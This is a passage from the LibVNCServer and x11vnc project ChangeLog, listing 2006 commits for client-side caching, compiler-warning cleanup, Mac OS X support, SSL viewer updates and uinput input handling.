46472007-01-02 runge <runge>
4648
4649 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
4650 x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c,
4651 x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
4652 x11vnc/user.c, x11vnc/userinput.c, x11vnc/x11vnc.1,
4653 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
4654 x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: more -ncache
4655 improvements.
4656
46572006-12-29 runge <runge>
4658
4659 * x11vnc/8to24.c, x11vnc/README, x11vnc/cursor.c, x11vnc/options.c,
4660 x11vnc/options.h, x11vnc/pointer.c, x11vnc/screen.c,
4661 x11vnc/selection.c, x11vnc/userinput.c, x11vnc/util.c,
4662 x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4663 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xwrappers.c: x11vnc
4664 -ncache on by default for beta test. fix -nofb & -rawfb modes.
4665
46662006-12-28 runge <runge>
4667
4668 * x11vnc/README, x11vnc/userinput.c, x11vnc/win_utils.c: a couple
4669 more warnings...
4670
46712006-12-28 runge <runge>
4672
4673 * x11vnc/8to24.c, x11vnc/README, x11vnc/connections.c,
4674 x11vnc/cursor.c, x11vnc/gui.c, x11vnc/keyboard.c, x11vnc/macosx.c,
4675 x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCGS.c,
4676 x11vnc/misc/enhanced_tightvnc_viewer/README,
4677 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
4678 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4679 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4680 x11vnc/nox11_funcs.h, x11vnc/pointer.c, x11vnc/remote.c,
4681 x11vnc/scan.c, x11vnc/screen.c, x11vnc/selection.c, x11vnc/solid.c,
4682 x11vnc/userinput.c, x11vnc/util.c, x11vnc/win_utils.c,
4683 x11vnc/xevents.c, x11vnc/xrandr.c, x11vnc/xrecord.c,
4684 x11vnc/xwrappers.c: still more compiler warnings; ssvnc 1.0.9 sync.
4685
46862006-12-28 runge <runge>
4687
4688 * x11vnc/8to24.c, x11vnc/README, x11vnc/cleanup.c,
4689 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/macosx.c,
4690 x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h,
4691 x11vnc/macosxCGP.c, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h,
4692 x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c,
4693 x11vnc/uinput.c, x11vnc/userinput.c, x11vnc/v4l.c,
4694 x11vnc/win_utils.c, x11vnc/xevents.c, x11vnc/xwrappers.c: more
4695 compiler warnings cleanup.
4696
46972006-12-28 runge <runge>
4698
4699 * x11vnc/8to24.c, x11vnc/README, x11vnc/connections.c,
4700 x11vnc/cursor.c, x11vnc/gui.c, x11vnc/keyboard.c, x11vnc/macosx.c,
4701 x11vnc/macosxCG.c, x11vnc/pointer.c, x11vnc/scan.c,
4702 x11vnc/screen.c, x11vnc/solid.c, x11vnc/user.c, x11vnc/userinput.c,
4703 x11vnc/userinput.h, x11vnc/win_utils.c, x11vnc/xwrappers.c,
4704 x11vnc/xwrappers.h: x11vnc: clean up compiler warnings.
4705
47062006-12-28 runge <runge>
4707
4708 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
4709 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/cursor.h,
4710 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosx.h,
4711 x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, x11vnc/options.c,
4712 x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c,
4713 x11vnc/scan.h, x11vnc/screen.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
4714 x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/winattr_t.h,
4715 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
4716 x11vnc/xevents.c, x11vnc/xrecord.c, x11vnc/xwrappers.c,
4717 x11vnc/xwrappers.h: x11vnc: more work on -ncache.
4718
47192006-12-17 runge <runge>
4720
4721 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
4722 x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
4723 x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/userinput.c,
4724 x11vnc/userinput.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1,
4725 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
4726 x11vnc/xevents.c, x11vnc/xinerama.c: x11vnc: first pass at
4727 client-side caching, -ncache option.
4728
47292006-12-17 runge <runge>
4730
4731 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
4732 x11vnc/options.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4733 x11vnc/x11vnc_defs.c, x11vnc/xinerama.c: x11vnc: make -xwarppointer
4734 the default if xinerama is active.
4735
47362006-12-16 runge <runge>
4737
4738 * rfb/rfbproto.h: Move our rfbEncodings numbers out of the TightVNC
4739 range.
4740
47412006-12-15 runge <runge>
4742
4743 * libvncserver/auth.c: fix typo.
4744
47452006-12-13 runge <runge>
4746
4747 * ChangeLog: Remove stray "-permitfiletransfer permit file transfer
4748 support" output
4749
47502006-12-13 runge <runge>
4751
4752 * libvncserver/cargs.c: Remove stray ""-permitfiletransfer permit
4753 file transfer support" output.
4754
47552006-12-11 runge <runge>
4756
4757 * x11vnc/README, x11vnc/macosxCG.c, x11vnc/macosxCGS.c,
4758 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: cleanup some
4759 comments.
4760
47612006-12-10 runge <runge>
4762
4763 * x11vnc/misc/enhanced_tightvnc_viewer/README,
4764 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd: sync etv 1.0.8
4765
47662006-12-10 runge <runge>
4767
4768 * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
4769 x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
4770 x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/gui.c,
4771 x11vnc/help.c, x11vnc/misc/Makefile.am, x11vnc/pointer.c,
4772 x11vnc/screen.c, x11vnc/screen.h, x11vnc/solid.c,
4773 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/v4l.c,
4774 x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
4775 x11vnc/x11vnc_defs.c: x11vnc: FINDCREATEDISPLAY support to create X
4776 session if one cannot be found. Fix bug in java viewer.
4777
47782006-11-24 runge <runge>
4779
4780 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
4781 x11vnc/help.c, x11vnc/remote.c, x11vnc/user.c, x11vnc/x11vnc.1,
4782 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: install ss_vncviewer 755,
4783 -prog option, HTTPONCE new socket for -inetd.
4784
47852006-11-23 runge <runge>
4786
4787 * classes/ssl/Makefile.am, classes/ssl/README: rename to
4788 ss_vncviewer
4789
47902006-11-23 runge <runge>
4791
4792 * classes/ssl/ss_vncviewer, classes/ssl/ssl_vncviewer: rename
4793 ssl_vncviewer to ss_vncviewer
4794
47952006-11-23 runge <runge>
4796
4797 * classes/ssl/ss_vncviewer: rename ssl_vncviewer to ss_vncviewer
4798
47992006-11-22 runge <runge>
4800
4801 * configure.ac: use AC_CHECK_LIB for fbpm and dpms
4802
48032006-11-21 runge <runge>
4804
4805 * configure.ac: enable --without-fbpm and --without-dpms
4806
48072006-11-21 runge <runge>
4808
4809 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
4810 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c,
4811 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosx.c, x11vnc/macosx.h,
4812 x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h,
4813 x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c,
4814 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/unixpw.c,
4815 x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/win_utils.h,
4816 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
4817 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c,
4818 x11vnc/xwrappers.c: x11vnc: Mac OS X fb fixes and cuttext, -nodpms
4819 option, local user wireframing
4820
48212006-11-21 runge <runge>
4822
4823 * x11vnc/misc/enhanced_tightvnc_viewer/README,
4824 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
4825 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
4826 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
4827 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
4828 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4829 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
4830 x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
4831 x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt,
4832 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4833 x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README: update to
4834 1.0.8 and renaming
4835
48362006-11-21 runge <runge>
4837
4838 * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer,
4839 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui,
4840 x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer,
4841 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
4842 l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer:
4843 delete
4844
48452006-11-21 runge <runge>
4846
4847 * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
4848 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
4849 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
4850 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl: rename
4851
48522006-11-13 runge <runge>
4853
4854 * ChangeLog, configure.ac, prepare_x11vnc_dist.sh, x11vnc/8to24.c,
4855 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
4856 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c,
4857 x11vnc/cursor.h, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c,
4858 x11vnc/linuxfb.c, x11vnc/macosx.c, x11vnc/macosx.h,
4859 x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c,
4860 x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h,
4861 x11vnc/options.c, x11vnc/options.h, x11vnc/params.h,
4862 x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
4863 x11vnc/selection.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
4864 x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/x11vnc.1,
4865 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
4866 x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c,
4867 x11vnc/xinerama.c, x11vnc/xrandr.c, x11vnc/xrecord.c,
4868 x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: Native Mac OS X
4869 support.
4870
48712006-11-08 runge <runge>
4872
4873 * x11vnc/misc/enhanced_tightvnc_viewer/README,
4874 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cp
4875 over,
4876 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc
4877 viewer.sh,
4878 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover,
4879 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer,
4880 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui,
4881 x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer,
4882 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
4883 l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer,
4884 x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
4885 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: Add Darwin
4886 stuff. Sync to current 1.0.7
4887
48882006-11-08 runge <runge>
4889
4890 * ChangeLog, classes/ssl/ssl_vncviewer, configure.ac,
4891 prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
4892 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: configure.ac -R and macosx,
4893 prepare_x11vnc_dist.sh rpm fix
4894
48952006-10-30 runge <runge>
4896
4897 * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1,
4898 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: Add tip about how to
4899 reenable RECORD extension.
4900
49012006-10-12 dscho <dscho>
4902
4903 * VisualNaCro/nacro.c, VisualNaCro/nacro.h: VisualNaCro: add
4904 sendascii
4905
49062006-10-12 runge <runge>
4907
4908 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c,
4909 x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
4910 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
4911 x11vnc/x11vnc_defs.c: x11vnc: -cursor_drag for DnD, etc.
4912
49132006-10-11 runge <runge>
4914
4915 * libvncserver/tightvnc-filetransfer/rfbtightserver.c: N_ENC_CAPS
4916 check does not work if libz is not present.
4917
49182006-10-10 dscho <dscho>
4919
4920 * VisualNaCro/ChangeLog, VisualNaCro/recorder.pl: VisualNaCro: add
4921 'i', 'c' and 'r' menu keys
4922
49232006-10-10 dscho <dscho>
4924
4925 * VisualNaCro/ChangeLog, VisualNaCro/recorder.pl: VisualNaCro: add
4926 --compact and --compact-dragging
4927
49282006-10-07 runge <runge>
4929
4930 * classes/ssl/ssl_vncviewer, x11vnc/README,
4931 x11vnc/misc/enhanced_tightvnc_viewer/README,
4932 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
4933 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca
4934 tion.url,
4935 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
4936 l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer,
4937 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
4938 x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README,
4939 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Changes for ETV, double
4940 SSL/SSH.
4941
49422006-09-24 runge <runge>
4943
4944 * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
4945 x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
4946 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/pointer.c,
4947 x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/x11vnc.1,
4948 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: improve SSL Java
4949 viewer, cleanup -unixpw code.
4950
49512006-09-21 runge <runge>
4952
4953 *
4954 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
4955 l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer: sync
4956 etv. profile cleanup
4957
49582006-09-21 runge <runge>
4959
4960 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
4961 x11vnc/connections.h, x11vnc/help.c, x11vnc/options.c,
4962 x11vnc/options.h, x11vnc/sslhelper.c, x11vnc/unixpw.c,
4963 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/x11vnc.1,
4964 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc:
4965 -unixpw_cmd, -passwfile cmd:/custom:, -sslnofail, -ultrafilexfer
4966
49672006-09-18 runge <runge>
4968
4969 * x11vnc/misc/enhanced_tightvnc_viewer/README,
4970 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
4971 l: ETV release 1.0.4
4972
49732006-09-18 runge <runge>
4974
4975 *
4976 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
4977 l, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: sync
4978 ETV 1.0.4
4979
49802006-09-18 runge <runge>
4981
4982 * libvncserver/rfbserver.c, x11vnc/README, x11vnc/x11vnc.c: x11vnc:
4983 improve ultravnc filexfer rate by calling rfbCheckFD more often
4984
49852006-09-17 runge <runge>
4986
4987 *
4988 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
4989 l: Sync ETV.
4990
49912006-09-17 runge <runge>
4992
4993 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
4994 x11vnc/cursor.c, x11vnc/help.c, x11vnc/keyboard.c,
4995 x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/scan.c,
4996 x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c,
4997 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
4998 x11vnc/xinerama.c, x11vnc/xwrappers.c: x11vnc: -verbose,
4999 -connect_or_exit, -rfbport 0, print out SSL cert.
5000
50012006-09-15 runge <runge>
5002
5003 * x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c:
5004 small tweaks, -sig alias.
5005
50062006-09-15 runge <runge>
5007
5008 * libvncserver/rfbserver.c, x11vnc/ChangeLog, x11vnc/README,
5009 x11vnc/cleanup.c, x11vnc/help.c, x11vnc/screen.c, x11vnc/unixpw.c,
5010 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: clear DISPLAY for
5011 -unixpw su_verify, user supplied sig ignore.
5012
50132006-09-14 runge <runge>
5014
5015 * classes/ssl/ssl_vncviewer, x11vnc/ChangeLog, x11vnc/README,
5016 x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/COPYING,
5017 x11vnc/misc/enhanced_tightvnc_viewer/README,
5018 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
5019 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/downl
5020 oad.url,
5021 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/down
5022 load.url,
5023 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/loca
5024 tion.url,
5025 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/downlo
5026 ad.url,
5027 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licenc
5028 e.url,
5029 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/down
5030 load.url,
5031 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca
5032 tion.url,
5033 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/do
5034 wnload.url,
5035 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/lo
5036 cation.url,
5037 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.co
5038 nf,
5039 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.co
5040 nf,
5041 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url,
5042 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer,
5043 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui,
5044 x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer,
5045 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc
5046 l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer,
5047 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf,
5048 x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
5049 x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt,
5050 x11vnc/misc/enhanced_tightvnc_viewer/src/README,
5051 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README,
5052 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
5053 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches,
5054 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied,
5055 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa
5056 tch,
5057 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
5058 llscreen.patch,
5059 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne
5060 wfbsize.patch,
5061 x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README,
5062 x11vnc/remote.c, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
5063 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc:
5064 enhanced_tightvnc_viewer files, ssh -t keystroke response
5065 improvement.
5066
50672006-09-12 dscho <dscho>
5068
5069 * VisualNaCro/Makefile.am, libvncserver-config.in: fix in-place
5070 compilation of VisualNaCro
5071
50722006-09-12 dscho <dscho>
5073
5074 * VisualNaCro/recorder.pl: fix call to alert()
5075
50762006-09-12 dscho <dscho>
5077
5078 * VisualNaCro/NEWS, VisualNaCro/nacro.c, VisualNaCro/nacro.h,
5079 VisualNaCro/recorder.pl: VisualNaCro: add magic key 'd' to display
5080 the current reference image
5081
50822006-09-12 dscho <dscho>
5083
5084 * VisualNaCro/nacro.h: forgot to check in nacro.h
5085
50862006-09-12 dscho <dscho>
5087
5088 * VisualNaCro/nacro.c, VisualNaCro/recorder.pl: implement rubberband
5089 for rectangular selection
5090
50912006-09-12 dscho <dscho>
5092
5093 * VisualNaCro/Makefile.am, VisualNaCro/configure.ac: fix compilation
5094 with cygwin
5095
50962006-09-12 dscho <dscho>
5097
5098 * rfb/rfbproto.h, vncterm/LinuxVNC.c, vncterm/VNConsole.c: do not
5099 always include rfb/keysym.h
5100
51012006-09-12 dscho <dscho>
5102
5103 * AUTHORS, VisualNaCro/NEWS, VisualNaCro/nacro.c,
5104 VisualNaCro/nacro.h, VisualNaCro/recorder.pl: VisualNaCro: support
5105 clipboard and symbolic key names with X11::Keysyms
5106
51072006-09-12 dscho <dscho>
5108
5109 * VisualNaCro/nacro.c, VisualNaCro/nacro.h: support clipboard
5110
51112006-09-11 dscho <dscho>
5112
5113 * libvncclient/rfbproto.c, rfb/rfbclient.h: make cut text handling
5114 using a hook
5115
51162006-09-10 runge <runge>
5117
5118 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c,
5119 x11vnc/ssltools.h, x11vnc/uinput.c, x11vnc/x11vnc.1,
5120 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: REQ_ARGS,
5121 EV_SYN/SYN_REPORT check. restore -cursor most under -display WAIT
5122
51232006-09-05 runge <runge>
5124
5125 * classes/ssl/proxy.vnc, classes/ssl/ssl_vncviewer: Update
5126 ssl_vncviewer. Fix bug in proxy.vnc with multiple PORT= params.
5127
51282006-08-10 runge <runge>
5129
5130 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/linuxfb.c,
5131 x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
5132 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: first pass at
5133 touchscreens via uinput.
5134
51352006-08-02 runge <runge>
5136
5137 * x11vnc/ChangeLog: add to changelog
5138
51392006-08-02 runge <runge>
5140
5141 * classes/ssl/ssl_vncviewer, x11vnc/README, x11vnc/help.c,
5142 x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c,
5143 x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
5144 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc:
5145 tweaks to ssl_xfer; -ssltimeout option.
5146
51472006-07-31 runge <runge>
5148
5149 * classes/ssl/ssl_vncviewer, x11vnc/README, x11vnc/pointer.c,
5150 x11vnc/scan.c, x11vnc/scan.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c:
5151 x11vnc: more features to ssl_vncviewer for enhanced tightvnc viewer
5152 project
5153
51542006-07-29 runge <runge>
5155
5156 * classes/ssl/ssl_vncviewer: one more tweak, start from disp 30
5157
51582006-07-29 runge <runge>
5159
5160 * classes/ssl/ssl_vncviewer: add debug = 6 to stunnel config.
5161
51622006-07-28 runge <runge>
5163
5164 * classes/ssl/ssl_vncviewer, x11vnc/ChangeLog, x11vnc/README,
5165 x11vnc/cursor.c, x11vnc/help.c, x11vnc/params.h, x11vnc/pointer.c,
5166 x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
5167 x11vnc/screen.h, x11vnc/solid.c, x11vnc/sslcmds.c,
5168 x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
5169 x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c,
5170 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5171 x11vnc/x11vnc_defs.c: x11vnc: -rotate option
5172
51732006-07-18 runge <runge>
5174
5175 * ChangeLog, configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog,
5176 x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c,
5177 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/gui.c,
5178 x11vnc/keyboard.c, x11vnc/linuxfb.c, x11vnc/nox11.h,
5179 x11vnc/nox11_funcs.h, x11vnc/pointer.c, x11vnc/remote.c,
5180 x11vnc/screen.c, x11vnc/selection.c, x11vnc/solid.c,
5181 x11vnc/sslhelper.c, x11vnc/uinput.c, x11vnc/userinput.c,
5182 x11vnc/util.c, x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1,
5183 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
5184 x11vnc/xevents.c, x11vnc/xwrappers.c: x11vnc: enable --without-x
5185 builds for -rawfb only binaries.
5186
51872006-07-15 runge <runge>
5188
5189 * configure.ac, prepare_x11vnc_dist.sh, x11vnc/README,
5190 x11vnc/help.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
5191 x11vnc/x11vnc_defs.c: update versions for next rel. add some more
5192 shortcuts to user:opts
5193
51942006-07-12 runge <runge>
5195
5196 * ChangeLog, configure.ac: LibVNCServer 0.8.2 release.
5197
51982006-07-12 runge <runge>
5199
5200 * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
5201 x11vnc/x11vnc_defs.c: set REL8x
5202
52032006-07-12 runge <runge>
5204
5205 * x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c,
5206 x11vnc/linuxfb.c, x11vnc/params.h, x11vnc/pointer.c,
5207 x11vnc/screen.c, x11vnc/user.c, x11vnc/x11vnc.1: x11vnc: wording
5208 changes; remove "-rawfb cons" in favor of "console"
5209
52102006-07-11 runge <runge>
5211
5212 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
5213 x11vnc/keyboard.c, x11vnc/remote.c, x11vnc/tkx11vnc,
5214 x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h,
5215 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: more
5216 UINPUT mode tweaks.
5217
52182006-07-10 runge <runge>
5219
5220 * x11vnc/README, x11vnc/help.c, x11vnc/remote.c, x11vnc/sslcmds.c,
5221 x11vnc/sslhelper.c, x11vnc/uinput.c, x11vnc/unixpw.c,
5222 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5223 x11vnc/x11vnc_defs.c: x11vnc: improve uinput heuristics so button
5224 clicks work on qt-embedded.
5225
52262006-07-09 runge <runge>
5227
5228 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am,
5229 x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/linuxfb.c,
5230 x11vnc/options.c, x11vnc/options.h, x11vnc/params.h,
5231 x11vnc/pointer.c, x11vnc/remote.c, x11vnc/screen.c,
5232 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/uinput.c,
5233 x11vnc/uinput.h, x11vnc/util.c, x11vnc/v4l.c, x11vnc/x11vnc.1,
5234 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add uinput support
5235 for full input into linux fb device (e.g. qt-embed).
5236
